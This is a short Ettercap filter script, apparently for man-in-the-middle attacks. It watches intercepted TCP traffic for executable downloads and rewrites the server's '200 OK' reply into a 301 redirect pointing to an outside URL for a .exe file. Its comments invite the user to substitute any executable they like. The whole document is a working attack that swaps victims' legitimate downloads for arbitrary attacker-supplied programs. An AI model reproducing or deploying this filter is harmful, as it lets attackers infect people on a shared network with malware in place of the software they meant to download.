# replace rmccurdy with your website
# replace the url with what ever exe you like

if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXE\n");
if (search(DATA.data, "rmccurdy")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://www.rmccurdy.com/scripts/quickclean.exe");
msg("redirect success\n");

}
}